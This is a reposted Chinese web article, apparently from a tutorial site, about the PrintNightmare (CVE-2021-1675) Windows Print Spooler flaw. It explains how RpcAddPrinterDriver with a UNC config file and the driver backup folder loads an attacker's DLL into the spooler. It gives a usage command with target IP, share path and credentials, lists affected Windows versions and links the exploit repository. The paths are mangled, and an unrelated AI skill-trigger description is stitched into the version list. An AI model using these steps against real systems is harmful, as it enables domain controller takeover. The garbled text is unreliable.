CVE-2021-1675 Windows Print Spooler RCE EXP

风伟酱_4800

发布时间：2025-09-08 09:01:34

241人浏览过

来源于php中文网

原创

PrintNightmare (CVE-2021-1675)：Windows 后台处理程序服务中的远程代码执行RpcAddPrinterDriver

向服务器添加打印机驱动程序 (rpcaddprinterdriver)

让我们检查一下关于 RpcAddPrinterDriver 调用的 MS-RPRN：打印系统远程协议。

要将打印机驱动程序（“OEM 打印机驱动程序”）添加或更新到打印服务器（“CORPSERV”），客户端（“TESTCLT”）执行以下步骤。

客户端可以使用 RPC 调用 RpcAddPrinterDriver 向打印服务器添加驱动程序。客户端确保打印机驱动程序的文件位于服务器可访问的位置。为此，客户端可以共享包含文件的本地目录，或使用 [MS-SMB] 将文件放入服务器上的目录中然后客户端分配并填充 DRIVER_INFO_2 结构，如下所示：pName = L"OEM 打印机驱动程序";pEnvironment = L"Windows NT x86"; /* 驱动兼容的环境 */pDriverPath = "\CORPSERVC客户端分配一个 DRIVER_CONTAINER driverContainer 结构并初始化它以包含 DRIVER_INFO_2 结构。客户端调用 RpcAddPrinterDriver。RpcAddPrinterDriver( L"\CORPSERV", &driverContainer );

假设您在那里提供服务的路径

pDataFile =A.dll

pConfigFile =ttackeripEvil.dll

pDriverPath=C.dll

它将 A、B 和 C 复制到文件夹 C:WindowsSystem32spooldriversd ew。然后它将它们复制到 C:WindowsSystem32spooldriversd，并加载 C:WindowsSystem32spooldriversdA.dll 和 C:WindowsSystem32 spooldriversdC.dll 进入 Spooler 服务。但是，在最新版本中，Spooler 将检查以确保 A 和 C 不是 UNC 路径。但是由于 B 可以是 UNC 路径，所以我们可以将 pConfigFile 设置为 UNC 路径（evildll）。这将使我们的 evildll Evil.dll 被复制到 C:WindowsSystem32spooldriversd Evil.dll。然后再次调用 RpcAddPrinterDriver，将 pDataFile 设置为 C:WindowsSystem32spooldriversdEvil.dll。它将加载我们的邪恶 dll。不幸的是，它不起作用。因为如果你在文件夹C:WindowsSystem32spooldriversd中设置了A、B、C。文件复制会出现访问冲突。为了绕过这个，我们需要使用驱动程序升级的备份功能。如果我们升级某些驱动程序，旧版本将备份到 C:WindowsSystem32spooldriversdold 文件夹中。然后我们可以绕过访问冲突并成功将我们的 evil.dll 注入到 spooler 服务中。

成功加载我们的dll：

用法代码语言：javascript代码运行次数：0运行复制

.PrintNightmare.exe dc_ip path_to_exp user_name passwordExample:.PrintNightmare.exe 192.168.5.129 \192.168.5.197	estMyExploit.dll user2 test123#

CVE-2021-1675 Windows Print Spooler RCE EXP

影响版本

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server, version 2004 (Server Core installation)

Windows RT 8.1

Windows 8.1 for x64-based systems

github-repo-analyzer

当用户提及 GitHub URL，或要求分析、审查、探索或理解任意 GitHub 项目、仓库或代码库时，请使用此技能。触发条件包括以下短语：“分析这个项目”、“看看这个仓库”、“analyze this repo”、“what does this project do”，或消息中包含任何 github.com URL。

下载

Windows 8.1 for 32-bit systems

Windows 7 for x64-based Systems Service Pack 1

Windows 7 for 32-bit Systems Service Pack 1

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows 10 for x64-based Systems

Windows 10 for 32-bit Systems

Windows Server, version 20H2 (Server Core Installation)

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 20H2 for 32-bit Systems

Windows 10 Version 20H2 for x64-based Systems

Windows 10 Version 2004 for x64-based Systems

Windows 10 Version 2004 for ARM64-based Systems

Windows 10 Version 2004 for 32-bit Systems

Windows 10 Version 21H1 for 32-bit Systems

Windows 10 Version 21H1 for ARM64-based Systems

Windows 10 Version 21H1 for x64-based Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

该漏洞可用于实现 LPE 和 RCE。至于 RCE 部分，您需要一个用户在 Spooler 服务上进行身份验证。但是，这在域环境中仍然很重要。由于通常 DC 会启用 Spooler 服务，因此被入侵的域用户可能会利用此漏洞来控制 DC

地址

https://github.com/afwu/PrintNightmare

Java 环境变量配置路径中包含空格怎么处理

幕布怎么卸载_幕布软件卸载操作步骤

Windows system怎么用Grafana监控服务器运行指标

Windows system怎么清除资源管理器最近打开的文档列表

Windows system怎么卸载内置的Xbox相关应用瘦身系统

相关标签:

windows javascript word java git github cad 打印机

本站声明：本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系admin@php.cn

上一篇：win10系统下暴风影音提示“已停止工作”的解决方法下一篇：微软的新Windows 10升级：严重警告

作者最新文章

iPhone17怎么关闭轻点唤醒

2026-10-27 08:25

word 2014怎么设置页脚

2026-10-27 08:25

Remini怎么修图实现AI人像增强

2026-10-27 08:32

premiere查找边缘功能怎么使用

2026-10-27 08:33

zero浏览器怎么给视频添加实时中文字幕

2026-10-27 08:33

vegas如何制作淡入淡出效果的视频

2026-10-27 08:35

excel如何制作多段式折线图表

2026-10-27 08:36

Mac怎么取消软件登录后自动打开

2026-10-27 08:37

ps怎么做一束光打下来的效果

2026-10-27 08:45

Excel如何用SORT函数实现排序

2026-10-27 08:49

热门AI工具

二狗PPT Hot

一款AI演示文稿工具，主要用于专为中式职场打造的AI PPT生成工具，适合需要提升相关任务效率的用户。

文档处理 PPT 助手

DeepSeek

DeepSeek是一款面向对话、写作、编程和推理场景的AI大模型工具。

AI编程开发 AI聊天问答

讯飞绘文 Hot

讯飞绘文是一款由科大讯飞推出的一站式 AIGC 内容运营平台。

AI应用软件 PC软件

小橡皮AI Hot

一款AI工具，主要用于小橡皮一键去AI味，将机器味重的内容改得更有活人感，防止因为 AI 内容被平台打上 AI 标签，以及限流，适合需要提升相关任务效率的用户。

AI文本写作中文写作

超级简历WonderCV Hot

一款AI办公效率工具，主要用于免费求职简历模版下载制作，应届生职场人必备简历制作神器，适合需要提升相关任务效率的用户。

AI办公学习工作效率

UpDream Hot

一款AI视频创作工具，主要用于哔哩哔哩推出的自研AI视频创作工具，适合需要提升相关任务效率的用户。

AI视频创作视频生成

立刻MV Hot

立刻MV是一款AI文本写作工具，AI 音乐视频（MV）创作工具。

AI视频创作

豆包大模型

豆包大模型是一款由字节跳动推出的企业级大语言模型服务平台。

AI编程开发 AI大模型

WorkBuddy

一款AI办公效率工具，主要用于腾讯云推出的AI原生桌面智能体工作台，适合需要提升相关任务效率的用户。

AI办公学习 Agent智能体

相关专题

python中print函数的用法

python中print函数的语法是“print(value1, value2, ..., sep=' ', end=' ', file=sys.stdout, flush=False)”。本专题为大家提供print相关的文章、下载、课程内容，供大家免费下载体验。

3040

2023.09.27

python print用法与作用

本专题整合了python print的用法、作用、函数功能相关内容，阅读专题下面的文章了解更多详细教程。

269

2026.02.03

github中文官网入口 github中文版官网网页进入

github中文官网入口https://docs.github.com/zh/get-started，GitHub 是一种基于云的平台，可在其中存储、共享并与他人一起编写代码。通过将代码存储在GitHub 上的“存储库”中，你可以： “展示或共享”你的工作。持续“跟踪和管理”对代码的更改。

8625

2026.01.21

GitHub官网入口版本汇总

本专题整合了GitHub入口版本地址汇总，阅读专题下面的文章了解更多详细内容。

918

2026.04.02

windows查看端口占用情况

Windows端口可以认为是计算机与外界通讯交流的出入口。逻辑意义上的端口一般是指TCP/IP协议中的端口，端口号的范围从0到65535，比如用于浏览网页服务的80端口，用于FTP服务的21端口等等。怎么查看windows端口占用情况呢？php中文网给大家带来了相关的教程以及文章，欢迎大家前来阅读学习。

3299

2023.07.26